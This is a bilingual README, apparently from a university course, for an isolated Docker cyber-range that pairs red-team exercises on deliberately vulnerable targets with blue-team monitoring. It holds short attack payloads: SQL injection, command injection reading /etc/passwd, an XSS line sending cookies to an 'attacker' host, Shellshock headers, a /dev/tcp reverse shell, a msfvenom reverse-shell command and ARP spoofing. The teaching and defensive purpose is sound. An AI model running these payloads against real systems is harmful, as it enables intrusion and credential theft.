Share
## https://sploitus.com/exploit?id=B79EAC15-9629-5995-83AC-ECB654E634C7
# Cyber-Range Didattico in Docker / Educational Docker Cyber-Range

> **Nota / Note:**
> Questo materiale e' stato preparato con l'ausilio di [Claude](https://claude.ai) (Anthropic)
> nell'ambito del corso di **Computer and Network Security**, AA 2025/2026,
> **Universita' degli Studi di Cassino e del Lazio Meridionale** โ€” Prof. Mario Molinara.
>
> This material was prepared with the assistance of [Claude](https://claude.ai) (Anthropic)
> for the **Computer and Network Security** course, AY 2025/2026,
> **University of Cassino and Southern Lazio** โ€” Prof. Mario Molinara.
> 
> 

> **Open Source:** Tutti i tool presentati sono software open source, liberamente scaricabili e utilizzabili per scopi didattici e di ricerca. / All tools presented are open source software, freely downloadable and usable for educational and research purposes.

---

## [IT] Italiano

Laboratorio isolato per esercitazioni di **attacco e difesa** in ambito cybersecurity, costruito interamente con Docker Compose su rete bridge dedicata (`cyberlab`, 172.28.0.0/16). L'ambiente comprende 10 container base: 1 attaccante (Kali Linux), 8 target volutamente vulnerabili e 1 difensore con tool di monitoraggio. In aggiunta, il profilo opzionale `siem` attiva uno stack Wazuh completo (Manager, Indexer, Dashboard) per il monitoraggio centralizzato degli eventi di sicurezza.

### 1. Architettura di rete


  
  
  


La rete `cyberlab` e' una LAN virtuale Docker con gateway `172.28.0.1`. I container sono organizzati per ruolo: in rosso l'attaccante (Kali Linux, 172.28.0.10), in ambra i target vulnerabili (DVWA, Juice Shop, Shellshock, Weak SSH, Nginx, FTP, Redis, Flask โ€” IP da .20 a .90), in blu il difensore (IDS/monitoring, 172.28.0.100), e in viola lo stack SIEM opzionale Wazuh (Dashboard .200, Manager .201, Indexer .202). Tutti i nodi comunicano sulla stessa rete bridge isolata.

#### Architettura Wazuh SIEM


  
  
  


Lo stack Wazuh e' composto da tre componenti principali. Gli Agent, installati su Defender, Weak SSH e Vuln Webapp, raccolgono log di sistema (syslog, auth.log, app logs) e li inviano al Manager (porta 1514). Il Manager analizza gli eventi e genera allarmi con livelli di severita' 0-15. Filebeat inoltra gli allarmi all'Indexer (OpenSearch, porta 9200), che li indicizza per ricerche rapide. La Dashboard (porta 5601) fornisce l'interfaccia web per visualizzare allarmi, grafici e correlazioni in tempo reale. Il profilo siem attiva questi componenti: `docker compose --profile siem up -d`.

### 2. Mappa dei container

| Container        | IP            | Ruolo                     | Accesso                                |
|------------------|---------------|---------------------------|----------------------------------------|
| cl-attacker      | 172.28.0.10   | Kali Linux (Red Team)     | `docker exec -it cl-attacker bash`     |
| cl-dvwa          | 172.28.0.20   | Target โ€“ DVWA             | http://localhost:8081 (admin / password)|
| cl-juiceshop     | 172.28.0.30   | Target โ€“ OWASP Juice Shop | http://localhost:8082                  |
| cl-shellshock    | 172.28.0.40   | Target โ€“ CVE-2014-6271    | http://localhost:8083/cgi-bin/vulnerable |
| cl-weakssh       | 172.28.0.50   | Target โ€“ SSH deboli       | `ssh -p 2222 student@localhost`        |
| cl-webapp        | 172.28.0.60   | Target โ€“ Nginx (baseline) | http://localhost:8084                  |
| cl-vulnftp       | 172.28.0.70   | Target โ€“ FTP vulnerabile  | `ftp localhost 2121` (anonymous)       |
| cl-vulnredis     | 172.28.0.80   | Target โ€“ Redis esposto    | `redis-cli -h localhost -p 6379`       |
| cl-vulnweb       | 172.28.0.90   | Target โ€“ Flask vuln app   | http://localhost:8085                  |
| cl-defender      | 172.28.0.100  | Blue Team (IDS, sniffer)  | `docker exec -it cl-defender bash`     |
| cl-wazuh-dashboard | 172.28.0.200 | SIEM โ€“ Dashboard (web UI) | http://localhost:5601 |
| cl-wazuh-manager | 172.28.0.201  | SIEM โ€“ Manager (analisi)  | API: http://localhost:55000 |
| cl-wazuh-indexer | 172.28.0.202  | SIEM โ€“ Indexer (OpenSearch)| http://localhost:9200 |

> I container Wazuh SIEM sono opzionali e si attivano con il profilo `siem`.

### 3. Prerequisiti

- Docker Engine >= 24.0
- Docker Compose V2 (plugin `docker compose`)
- Almeno 8 GB di RAM (16 GB consigliati con SIEM)
- ~10 GB di spazio disco per le immagini

### 4. Avvio rapido

```bash
# Clona il repository
git clone https://github.com//docker-cyberrange.git
cd docker-cyberrange

# Build e avvio base (senza SIEM)
docker compose build
docker compose up -d

# Accedi alle macchine
docker exec -it cl-attacker bash    # Red Team
docker exec -it cl-defender bash    # Blue Team

# Avvio con Wazuh SIEM
docker compose --profile siem build
docker compose --profile siem up -d

# Ferma tutto
docker compose --profile siem down

# Ferma e rimuovi volumi (reset completo)
docker compose --profile siem down -v
```

### 5. Come lanciare gli esercizi

#### 5.1 Esercizi Red Team (Attaccante)

```bash
docker exec -it cl-attacker bash
cd /root/exercises
chmod +x EX01_network_recon.sh
./EX01_network_recon.sh
# Oppure singoli comandi copiati dalla sezione Dettaglio Esercizi
```

#### 5.2 Esercizi Blue Team (Difensore)

```bash
docker exec -it cl-defender bash
cd /root/exercises
chmod +x EX_BLUE_01_traffic_capture.sh
./EX_BLUE_01_traffic_capture.sh
```

#### 5.3 Uso coordinato Red/Blue Team

Per un'esperienza didattica completa, eseguire gli esercizi Red e Blue in parallelo: un terminale attacca mentre l'altro monitora. Ad esempio, lanciare `EX07_ssh_bruteforce.sh` dall'attacker e contemporaneamente osservare il traffico con `EX_BLUE_01_traffic_capture.sh` dal defender. Con il profilo SIEM attivo, gli allarmi Wazuh appariranno in tempo reale sulla dashboard (http://localhost:5601).

### 6. Dettaglio Esercizi Red Team

#### EX01 โ€” Ricognizione di Rete

Scansione della rete per individuare tutti gli host attivi e i servizi esposti. Si utilizzano tecniche di ping sweep, scansione completa delle porte e fingerprinting dei servizi. L'obiettivo e' mappare l'intera superficie di attacco.

```bash
nmap -sn 172.28.0.0/16
nmap -sV -sC -O -p- 172.28.0.0/16
nmap --script vuln 172.28.0.0/16
```

**Risultato atteso:** scoperta di tutti gli 8 target con relativi servizi e versioni.

**Contromisure:** configurare firewall per limitare il traffico in ingresso, implementare port knocking per servizi sensibili, disabilitare servizi non necessari.

#### EX02 โ€” SQL Injection su DVWA

Sfruttamento di vulnerabilita' SQL Injection su DVWA. Si procede con login, estrazione cookie di sessione, iniezione manuale e automatizzata con sqlmap, e cracking degli hash delle password estratte.

```bash
# Iniezione manuale
1' OR '1'='1
UNION SELECT user, password FROM users--
# Automatizzato
sqlmap -u "http://target/vuln.php?id=1" --dbs --dump
john --format=raw-md5 hashes.txt
```

**Risultato atteso:** estrazione di admin:password, gordonb:abc123.

**Contromisure:** utilizzare prepared statements e query parametrizzate, adottare un ORM, validazione e sanitizzazione dell'input.

#### EX03 โ€” Command Injection

Iniezione di comandi del sistema operativo attraverso form di input non validati. Si testano diversi operatori di concatenazione.

```bash
; cat /etc/passwd
| cat /etc/passwd
&& cat /etc/passwd
$(cat /etc/passwd)
```

**Risultato atteso:** lettura di /etc/passwd, codice sorgente dell'applicazione e database.

**Contromisure:** usare subprocess senza shell=True, validazione input con espressioni regolari, principio del minimo privilegio.

#### EX04 โ€” Attacchi XSS

Sfruttamento di vulnerabilita' Cross-Site Scripting (XSS) reflected e stored. Si dimostrano tecniche di cookie stealing, keylogging e defacement.

```bash
alert(1)
new Image().src='http://attacker/steal?c='+document.cookie
```

**Risultato atteso:** esecuzione di script nel browser della vittima, furto di cookie di sessione.

**Contromisure:** output encoding per tutti i dati dinamici, implementare Content Security Policy (CSP), flag HttpOnly sui cookie.

#### EX05 โ€” Directory Traversal

Sfruttamento di Path Traversal e Local File Inclusion (LFI) per accedere a file al di fuori della directory web.

```bash
../../../etc/passwd
/proc/self/environ
```

**Risultato atteso:** lettura di file di sistema, codice sorgente e database dell'applicazione.

**Contromisure:** validazione del percorso con realpath(), chroot per isolare l'applicazione, whitelist dei file accessibili.

#### EX06 โ€” Shellshock (CVE-2014-6271)

Sfruttamento della vulnerabilita' Shellshock che consente RCE attraverso header HTTP malformati in script CGI.

```bash
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" http://172.28.0.40/cgi-bin/vulnerable
# Reverse shell
bash -i >& /dev/tcp/attacker/4444 0>&1
```

**Risultato atteso:** esecuzione di comandi remoti e ottenimento di una shell interattiva.

**Contromisure:** aggiornare bash, disabilitare mod_cgi, implementare WAF.

#### EX07 โ€” SSH Brute-force

Attacco di forza bruta alle credenziali SSH utilizzando Hydra.

```bash
hydra -L users.txt -P passwords.txt ssh://172.28.0.50
# Post-exploitation
whoami && id && sudo -l
```

**Risultato atteso:** scoperta di student:password123, admin:admin, root:toor.

**Contromisure:** fail2ban, autenticazione basata su chiave e 2FA, disabilitare login root via SSH.

#### EX08 โ€” Sfruttamento FTP

Accesso anonimo, download file sensibili, upload malevolo, brute-force credenziali.

```bash
ftp anonymous@172.28.0.70
get nota_interna.txt
hydra -l ftpuser -P passwords.txt ftp://172.28.0.70
```

**Risultato atteso:** download di nota_interna.txt, accesso come ftpuser:ftppass, lettura di db_credentials.txt.

**Contromisure:** disabilitare accesso anonimo, chroot, migrare a SFTP.

#### EX09 โ€” Sfruttamento Redis

Accesso a Redis esposto senza autenticazione. Estrazione dati sensibili e RCE via CONFIG SET.

```bash
redis-cli -h 172.28.0.80 INFO
KEYS *
GET session:admin
GET api:key:production
CONFIG SET dir /var/www/html
```

**Risultato atteso:** estrazione di dati sensibili e possibilita' di RCE.

**Contromisure:** requirepass, bind 127.0.0.1, rename-command per comandi pericolosi.

#### EX10 โ€” SQLi su VulnWeb

SQL Injection sull'applicazione Flask vulnerabile: bypass login, estrazione dati, accesso admin.

```bash
# Login bypass
admin'--
# Estrazione versione DB
UNION SELECT sqlite_version()
```

**Risultato atteso:** bypass del login, dump di tabelle e segreti, accesso al pannello /admin.

**Contromisure:** query parametrizzate, ORM, WAF.

#### EX11 โ€” Metasploit

Utilizzo di Metasploit con file di risorse per scansione e sfruttamento automatizzati.

```bash
msfconsole
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ftp/anonymous
use exploit/multi/http/apache_mod_cgi_bash_env_exec
```

**Risultato atteso:** accesso SSH, conferma FTP anonimo, shell via Shellshock.

**Contromisure:** patch management regolare, segmentazione della rete, IDS.

#### EX12 โ€” ARP Spoofing

Attacco ARP cache poisoning per MITM con arpspoof ed ettercap.

```bash
arpspoof -i eth0 -t 172.28.0.20 172.28.0.1
ettercap -T -M arp /172.28.0.20// /172.28.0.1//
tcpdump -i eth0 -w capture.pcap
```

**Risultato atteso:** intercettazione del traffico e cattura di credenziali non cifrate.

**Contromisure:** entry ARP statiche, Dynamic ARP Inspection (DAI), 802.1X, comunicazioni cifrate (TLS/SSH).

### 7. Dettaglio Esercizi Blue Team

#### B1 โ€” Cattura del Traffico

Cattura e analisi del traffico con tcpdump e tshark. Identificazione di pattern sospetti (SYN scan, brute-force, SQLi in HTTP).

```bash
tcpdump -i eth0 port 22 -w ssh_traffic.pcap
tcpdump -i eth0 port 80 -w http_traffic.pcap
tcpdump -i eth0 arp -w arp_traffic.pcap
tshark -r capture.pcap -z conv,ip
tshark -r capture.pcap -z io,phs
```

**Pattern da riconoscere:** SYN scan (molte connessioni SYN senza completamento handshake), brute-force (tentativi ripetuti di autenticazione), SQLi (payload SQL visibili nel traffico HTTP).

#### B2 โ€” IDS Suricata

Configurazione di Suricata con regole personalizzate per rilevare SYN scan, brute-force SSH, Shellshock, SQLi, XSS, Command Injection, accesso Redis non autorizzato, FTP anonimo, Directory Traversal.

```bash
suricata -i eth0 -S /etc/suricata/rules/cyberlab.rules
tail -f /var/log/suricata/fast.log
cat /var/log/suricata/eve.json | jq .
```

#### B3 โ€” Hardening

Audit con Lynis, fail2ban per protezione automatica, iptables per rate limiting.

```bash
lynis audit system
# fail2ban jail.local: maxretry=3, bantime=600
iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min -j ACCEPT
```

**Checklist di sicurezza:** rete (segmentazione, firewall, monitoraggio), servizi (aggiornamenti, configurazione sicura, logging), autenticazione (password policy, 2FA, key-based), applicazioni (input validation, patching, WAF).

#### B4 โ€” Wazuh SIEM

Utilizzo di Wazuh come SIEM per raccolta centralizzata log, correlazione eventi e visualizzazione allarmi.

```bash
# Prerequisiti
docker compose --profile siem up -d
./wazuh/deploy_agents.sh

# Verifica indexer
curl http://172.28.0.202:9200/_cat/indices?v

# Query ultimi allarmi
curl http://172.28.0.202:9200/wazuh-alerts-*/_search?size=5
```

**Confronto con Suricata (B2):** Suricata analizza solo il traffico di rete (IDS/IPS). Wazuh come SIEM raccoglie anche log di sistema, integrita' dei file, vulnerabilita' dei pacchetti, e puo' integrare gli stessi alert di Suricata come sorgente dati aggiuntiva.

### 8. Tool Red Team (18 tool)

#### 8.1 Nmap

Scanner di rete open source. Esegue host discovery, port scanning, rilevamento servizi e versioni, OS fingerprinting e vulnerability scanning tramite NSE.

```bash
nmap -sn 172.28.0.0/24
nmap -sV -sC -p- 172.28.0.20
nmap -O 172.28.0.50
nmap --script vuln 172.28.0.40
nmap -sU --top-ports 20 172.28.0.0/24
```

| Argomento | Descrizione |
|-----------|-------------|
| `-sn` | Ping sweep (solo host discovery, no port scan) |
| `-sV` | Rilevamento versioni servizi |
| `-sC` | Esegue script NSE di default |
| `-p-` | Scansiona tutte le 65535 porte |
| `-O` | Rilevamento sistema operativo |
| `-p ` | Specifica porte (es. -p 22,80,443) |
| `--script vuln` | Esegue script NSE per vulnerabilita' |
| `-sU` | Scansione UDP |
| `--top-ports N` | Scansiona le N porte piu' comuni |

https://nmap.org

#### 8.2 SQLmap

Tool automatizzato per rilevamento e sfruttamento SQL Injection. Supporta MySQL, PostgreSQL, SQLite, Oracle, MSSQL.

```bash
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D db --tables
sqlmap -u "http://target/page?id=1" --dump
sqlmap -u "http://target/page?id=1" --os-shell
```

| Argomento | Descrizione |
|-----------|-------------|
| `-u ` | URL target con parametro iniettabile |
| `--dbs` | Enumera i database |
| `--tables` | Enumera le tabelle |
| `-D ` | Seleziona un database specifico |
| `--dump` | Dump di tutti i dati |
| `--os-shell` | Ottiene una shell OS |
| `--wizard` | Modalita' guidata |

https://sqlmap.org

#### 8.3 Hydra (THC Hydra)

Brute-force per autenticazione di rete. Supporta oltre 50 protocolli.

```bash
hydra -l admin -P wordlist.txt ssh://172.28.0.50
hydra -L users.txt -P pass.txt ftp://172.28.0.70
```

| Argomento | Descrizione |
|-----------|-------------|
| `-l ` | Username singolo |
| `-L ` | File lista username |
| `-P ` | File lista password |
| `-t ` | Thread paralleli |
| `-vV` | Molto verbose |

https://github.com/vanhauser-thc/thc-hydra

#### 8.4 Nikto

Scanner vulnerabilita' web server. Oltre 6700 test.

```bash
nikto -h http://172.28.0.20
nikto -h http://172.28.0.20 -o report.html
```

| Argomento | Descrizione |
|-----------|-------------|
| `-h ` | Host/URL da scansionare |
| `-o ` | File di output |
| `-Tuning ` | Tipo di test (4 = injection) |

https://cirt.net/Nikto2

#### 8.5 Gobuster

Enumerazione brute-force directory, file e sotto-domini. Implementato in Go.

```bash
gobuster dir -u http://172.28.0.20 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target -w wordlist.txt -x php,html,txt
```

| Argomento | Descrizione |
|-----------|-------------|
| `dir` | Modalita' directory |
| `dns` | Modalita' subdomain |
| `-u ` | URL target |
| `-w ` | Wordlist |
| `-x ` | Estensioni (php,html,txt) |

https://github.com/OJ/gobuster

#### 8.6 Metasploit Framework

Framework di exploitation. Console interattiva per exploit, auxiliary e post-exploitation. msfvenom genera payload.

```bash
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.28.0.50
run
msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.28.0.10 LPORT=4444 -f elf -o shell.elf
```

| Argomento | Descrizione |
|-----------|-------------|
| `use ` | Seleziona modulo |
| `set RHOSTS ` | IP target |
| `set RPORT ` | Porta target |
| `run` / `exploit` | Esegue il modulo |
| `search ` | Cerca moduli |
| `-p ` | (msfvenom) payload |
| `-f ` | (msfvenom) formato output |

https://www.metasploit.com

#### 8.7 John the Ripper

Cracking password hash. Centinaia di formati.

```bash
john --format=raw-md5 hashes.txt
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
```

| Argomento | Descrizione |
|-----------|-------------|
| `--format=` | Formato hash |
| `--wordlist=` | Dizionario |
| `--show` | Mostra password trovate |
| `--rules` | Regole di mutazione |

https://www.openwall.com/john/

#### 8.8 Hashcat

Cracker password GPU-accelerated. Oltre 350 algoritmi.

```bash
hashcat -m 0 hashes.txt rockyou.txt
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a
```

| Argomento | Descrizione |
|-----------|-------------|
| `-m ` | Tipo hash (0=MD5, 100=SHA1, 1000=NTLM) |
| `-a ` | Modalita' attacco (0=dizionario, 3=brute-force) |
| `?a` | Tutti i caratteri stampabili |
| `--show` | Mostra risultati |

https://hashcat.net/hashcat/

#### 8.9 Ettercap

Suite MITM su LAN. ARP spoofing, cattura credenziali.

```bash
ettercap -T -q -i eth0 -M arp:remote /172.28.0.20// /172.28.0.1//
```

| Argomento | Descrizione |
|-----------|-------------|
| `-T` | Modalita' testo |
| `-q` | Quiet |
| `-i ` | Interfaccia |
| `-M arp:remote` | MITM via ARP |
| `/IP//` | Formato target |

https://www.ettercap-project.org

#### 8.10 arpspoof (dsniff)

ARP cache poisoning per redirigere traffico.

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 172.28.0.20 172.28.0.1
```

| Argomento | Descrizione |
|-----------|-------------|
| `-i ` | Interfaccia |
| `-t ` | IP vittima |
| `` | Gateway da impersonare |

https://www.monkey.org/~dugsong/dsniff/

#### 8.11 dsniff

Sniffing credenziali in chiaro (FTP, HTTP, Telnet).

```bash
dsniff -i eth0
```

| Argomento | Descrizione |
|-----------|-------------|
| `-i ` | Interfaccia da monitorare |

https://www.monkey.org/~dugsong/dsniff/

#### 8.12 Masscan

Scanner porte ultra-veloce con trasmissione asincrona.

```bash
masscan 172.28.0.0/24 -p1-65535 --rate=1000
```

| Argomento | Descrizione |
|-----------|-------------|
| `-p ` | Porte da scansionare |
| `--rate=` | Pacchetti/sec |

https://github.com/robertdavidgraham/masscan

#### 8.13 Dirb

Web content scanner basato su dizionario.

```bash
dirb http://172.28.0.20
dirb http://172.28.0.20 /usr/share/dirb/wordlists/big.txt
```

| Argomento | Descrizione |
|-----------|-------------|
| `` | URL target |
| `` | Percorso wordlist |

https://dirb.sourceforge.net

#### 8.14 Wfuzz

Fuzzer per applicazioni web.

```bash
wfuzz -w wordlist.txt http://target/FUZZ
wfuzz -w wordlist.txt -d "user=FUZZ" http://target/login
```

| Argomento | Descrizione |
|-----------|-------------|
| `-w ` | Wordlist |
| `-d ` | Dati POST |
| `FUZZ` | Keyword sostituita |

https://github.com/xmendez/wfuzz

#### 8.15 WhatWeb

Fingerprinting siti web. Identifica CMS, framework, server.

```bash
whatweb http://172.28.0.20
whatweb -a 3 http://172.28.0.20
```

| Argomento | Descrizione |
|-----------|-------------|
| `-a ` | Livello aggressivita' (1-4) |

https://github.com/urbanadventurer/WhatWeb

#### 8.16 WPScan

Scanner sicurezza WordPress.

```bash
wpscan --url http://target
wpscan --url http://target --enumerate u,p,t
```

| Argomento | Descrizione |
|-----------|-------------|
| `--url ` | URL WordPress |
| `--enumerate u,p,t` | Enumera utenti, plugin, temi |

https://wpscan.com

#### 8.17 DNSRecon

Ricognizione DNS: enumerazione record, zone transfer, brute-force sotto-domini.

```bash
dnsrecon -d example.com
dnsrecon -d example.com -t axfr
```

| Argomento | Descrizione |
|-----------|-------------|
| `-d ` | Dominio target |
| `-t axfr` | Zone transfer |

https://github.com/darkoperator/dnsrecon

#### 8.18 Aircrack-ng

Suite testing sicurezza WiFi (non usato nel lab Docker).

```bash
airmon-ng start wlan0
airodump-ng wlan0mon
aircrack-ng -w wordlist.txt capture.cap
```

| Argomento | Descrizione |
|-----------|-------------|
| `start ` | (airmon-ng) Monitor mode |
| `-w ` | (aircrack-ng) Wordlist |
| `` | File cattura .cap |

https://www.aircrack-ng.org

### 9. Tool Blue Team (10 tool)

#### 9.1 tcpdump

Cattura e analisi pacchetti a linea di comando. Supporta filtri BPF.

```bash
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 'tcp port 22'
tcpdump -i eth0 'tcp port 80' -A
tcpdump -r capture.pcap
```

| Argomento | Descrizione |
|-----------|-------------|
| `-i ` | Interfaccia di cattura |
| `-w ` | Salva in pcap |
| `-r ` | Leggi pcap |
| `-A` | Payload in ASCII |
| `-n` | No DNS |
| `'filtro BPF'` | Espressione filtro |

https://www.tcpdump.org

#### 9.2 tshark (Wireshark CLI)

Versione CLI di Wireshark. Analisi pcap con filtri avanzati e statistiche.

```bash
tshark -r capture.pcap -q -z conv,ip
tshark -r capture.pcap -Y 'http.request' -T fields -e http.request.uri
```

| Argomento | Descrizione |
|-----------|-------------|
| `-r ` | Leggi pcap |
| `-q` | Solo statistiche |
| `-z ` | Tipo statistica |
| `-Y ` | Display filter |
| `-T fields -e ` | Estrai campi |

https://www.wireshark.org

#### 9.3 Suricata

IDS/IPS open source. Regole Snort-compatibili, multi-threading, output JSON.

```bash
suricata -i eth0 -S /etc/suricata/rules/cyberlab.rules
tail -f /var/log/suricata/fast.log
cat /var/log/suricata/eve.json | jq '.alert'
```

| Argomento | Descrizione |
|-----------|-------------|
| `-i ` | Interfaccia da monitorare |
| `-S ` | Regole custom |
| `-l ` | Directory log |

https://suricata.io

#### 9.4 Lynis

Auditing e hardening Unix/Linux. CIS Benchmarks, Hardening Index.

```bash
lynis audit system
lynis audit system --quick --no-colors
lynis show details TEST-1234
```

| Argomento | Descrizione |
|-----------|-------------|
| `audit system` | Audit completo |
| `--quick` | Audit rapido |
| `show details ` | Dettagli test |

https://cisofy.com/lynis/

#### 9.5 Fail2ban

Prevenzione intrusioni. Blocca IP con troppi tentativi falliti via iptables.

```bash
fail2ban-server -b
fail2ban-client status
fail2ban-client status sshd
fail2ban-client set sshd unbanip 172.28.0.10
```

| Argomento | Descrizione |
|-----------|-------------|
| `status` | Stato generale |
| `status ` | Stato jail specifico |
| `set  unbanip ` | Sbanna IP |

https://www.fail2ban.org

#### 9.6 Scapy

Libreria Python per manipolazione pacchetti a qualsiasi livello.

```python
from scapy.all import *
sniff(iface='eth0', count=10)
rdpcap('capture.pcap')
send(IP(dst='172.28.0.20')/ICMP())
```

| Argomento | Descrizione |
|-----------|-------------|
| `sniff()` | Cattura pacchetti |
| `rdpcap()` | Leggi pcap |
| `send()` | Invia pacchetto |

https://scapy.net

#### 9.7 iptables

Firewall Linux (netfilter). Filtraggio e reindirizzamento pacchetti.

```bash
iptables -L -n -v
iptables -A INPUT -s 172.28.0.10 -j DROP
iptables -A INPUT -j LOG --log-prefix 'BLOCKED: '
```

| Argomento | Descrizione |
|-----------|-------------|
| `-L` | Lista regole |
| `-A ` | Aggiungi regola (INPUT/OUTPUT/FORWARD) |
| `-s ` | IP sorgente |
| `-j ` | Azione (ACCEPT/DROP/LOG) |
| `--dport ` | Porta destinazione |

https://www.netfilter.org

#### 9.8 arpwatch

Monitora attivita' ARP e rileva ARP spoofing.

```bash
arpwatch -i eth0
```

| Argomento | Descrizione |
|-----------|-------------|
| `-i ` | Interfaccia da monitorare |

https://ee.lbl.gov/

#### 9.9 Wireshark

Analizzatore di protocolli con GUI. Decodifica completa, follow TCP stream.

```bash
wireshark capture.pcap
```

https://www.wireshark.org

#### 9.10 Wazuh

Piattaforma SIEM open source. Raccoglie log da agenti, analizza eventi, genera allarmi (livelli 0-15), visualizza in dashboard web. Integra HIDS, monitoraggio integrita' file, vulnerability detection e compliance. Architettura: Agent โ†’ Manager โ†’ Indexer (OpenSearch) โ†’ Dashboard.

```bash
docker compose --profile siem up -d
./wazuh/deploy_agents.sh
curl http://172.28.0.202:9200/_cat/indices?v
curl http://172.28.0.202:9200/wazuh-alerts-*/_search?size=5
```

| Argomento | Descrizione |
|-----------|-------------|
| `--profile siem` | Attiva container SIEM |
| `_cat/indices` | API OpenSearch: lista indici |
| `_search?size=N` | Query ultimi N allarmi |
| `/agents` | API Manager: lista agenti |

https://wazuh.com

### 10. Tool di Infrastruttura (4 tool)

#### 10.1 curl

Trasferimento dati via URL. HTTP, HTTPS, FTP.

```bash
curl http://172.28.0.20
curl -X POST -d 'user=admin&pass=x' http://target/login
curl -H 'User-Agent: () { :; }; echo; /bin/id' http://target/cgi-bin/test
```

| Argomento | Descrizione |
|-----------|-------------|
| `-X ` | Metodo HTTP |
| `-d ` | Dati POST |
| `-H ` | Header personalizzato |
| `-c/-b ` | Salva/invia cookie |
| `-o ` | Output su file |

https://curl.se

#### 10.2 redis-cli

Client CLI per Redis.

```bash
redis-cli -h 172.28.0.80
redis-cli -h 172.28.0.80 INFO
redis-cli -h 172.28.0.80 KEYS '*'
```

| Argomento | Descrizione |
|-----------|-------------|
| `-h ` | Host server Redis |
| `INFO` | Informazioni server |
| `KEYS '*'` | Lista chiavi |
| `GET ` | Leggi valore |
| `CONFIG GET ` | Leggi configurazione |

https://redis.io/docs/connect/cli/

#### 10.3 ssh

Client Secure Shell.

```bash
ssh student@172.28.0.50
ssh -p 2222 student@localhost
ssh -L 8080:target:80 user@pivot
```

| Argomento | Descrizione |
|-----------|-------------|
| `-p ` | Porta non standard |
| `-L ::` | Port forwarding |
| `-i ` | Chiave privata |

https://www.openssh.com

#### 10.4 ftp

Client FTP a linea di comando.

```bash
ftp 172.28.0.70
ftp> ls
ftp> get nota_interna.txt
```

| Argomento | Descrizione |
|-----------|-------------|
| `` | Server FTP |
| `ls` | Lista file |
| `get ` | Scarica |
| `put ` | Carica |
| `cd ` | Cambia directory |

https://linux.die.net/man/1/ftp

### 11. Struttura del progetto

```
docker-cyberrange/
โ”œโ”€โ”€ docker-compose.yml          # Orchestrazione principale
โ”œโ”€โ”€ README.md                   # Questo file
โ”œโ”€โ”€ LICENSE                     # MIT License
โ”œโ”€โ”€ .gitignore
โ”œโ”€โ”€ attacker/
โ”‚   โ”œโ”€โ”€ Dockerfile              # Kali Linux + tool pentest
โ”‚   โ”œโ”€โ”€ exercises/              # 12 script Red Team (EX01โ€“EX12)
โ”‚   โ””โ”€โ”€ loot/                   # Output esercizi (in .gitignore)
โ”œโ”€โ”€ defender/
โ”‚   โ”œโ”€โ”€ Dockerfile              # Ubuntu + IDS/monitoring
โ”‚   โ”œโ”€โ”€ exercises/              # 4 script Blue Team (B1โ€“B4)
โ”‚   โ””โ”€โ”€ logs/                   # Log catturati (in .gitignore)
โ”œโ”€โ”€ targets/
โ”‚   โ”œโ”€โ”€ normal-webapp/          # Nginx baseline
โ”‚   โ”œโ”€โ”€ shellshock/             # CVE-2014-6271
โ”‚   โ”œโ”€โ”€ vuln-ftp/               # FTP anonymous
โ”‚   โ”œโ”€โ”€ vuln-redis/             # Redis esposto
โ”‚   โ”œโ”€โ”€ vuln-webapp/            # Flask con SQLi/XSS/RCE
โ”‚   โ””โ”€โ”€ weak-ssh/               # SSH credenziali deboli
โ”œโ”€โ”€ wazuh/
โ”‚   โ”œโ”€โ”€ indexer/                # Dockerfile + entrypoint (OpenSearch senza security plugin)
โ”‚   โ”œโ”€โ”€ dashboard/              # Dockerfile (senza securityDashboards plugin)
โ”‚   โ”œโ”€โ”€ config/                 # filebeat.yml, opensearch_dashboards.yml
โ”‚   โ””โ”€โ”€ docker-compose.wazuh.yml
โ”œโ”€โ”€ docs/
โ”‚   โ”œโ”€โ”€ network-topology.svg    # Diagramma topologia di rete (SVG)
โ”‚   โ”œโ”€โ”€ network-topology.png    # Fallback PNG per client senza SVG
โ”‚   โ”œโ”€โ”€ wazuh-architecture.svg  # Diagramma architettura SIEM (SVG)
โ”‚   โ”œโ”€โ”€ wazuh-architecture.png  # Fallback PNG per client senza SVG
โ”‚   โ””โ”€โ”€ convert_svg_to_png.py   # Script per rigenerare i PNG dai SVG
โ”œโ”€โ”€ Guida_Tool_Cyber_Range_v3.docx    # Schede complete di tutti i tool
โ””โ”€โ”€ Istruzioni_Cyber_Range_v8.docx    # Istruzioni complete con diagrammi
```

### 12. Risorse

- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide
- HackTricks: https://book.hacktricks.wiki
- Exploit Database: https://www.exploit-db.com
- CVE Details: https://www.cvedetails.com
- Kali Linux Docs: https://www.kali.org/docs
- Docker Documentation: https://docs.docker.com
- Wazuh Documentation: https://documentation.wazuh.com

### 13. Note legali

Questo cyber-range e' destinato esclusivamente all'uso didattico in ambiente controllato. L'accesso abusivo a sistemi informatici e' punito dall'Art. 615-ter del Codice Penale italiano. Operare esclusivamente sulla rete isolata 172.28.0.0/16. **Non esporre i container su Internet.**

---

## [EN] English

An isolated lab for **offensive and defensive** cybersecurity exercises, orchestrated with Docker Compose on a dedicated bridge network (`cyberlab`, 172.28.0.0/16). The environment includes 10 base containers: 1 attacker (Kali Linux), 8 intentionally vulnerable targets and 1 defender with monitoring tools. Additionally, the optional `siem` profile activates a full Wazuh stack (Manager, Indexer, Dashboard) for centralized security event monitoring.

### 1. Network Architecture


  
  
  


The `cyberlab` network is a Docker virtual LAN with gateway `172.28.0.1`. Containers are organized by role: the attacker in red (Kali Linux, 172.28.0.10), vulnerable targets in amber (DVWA, Juice Shop, Shellshock, Weak SSH, Nginx, FTP, Redis, Flask โ€” IPs .20 to .90), the defender in blue (IDS/monitoring, 172.28.0.100), and the optional Wazuh SIEM stack in purple (Dashboard .200, Manager .201, Indexer .202). All nodes communicate on the same isolated bridge network.

#### Wazuh SIEM Architecture


  
  
  


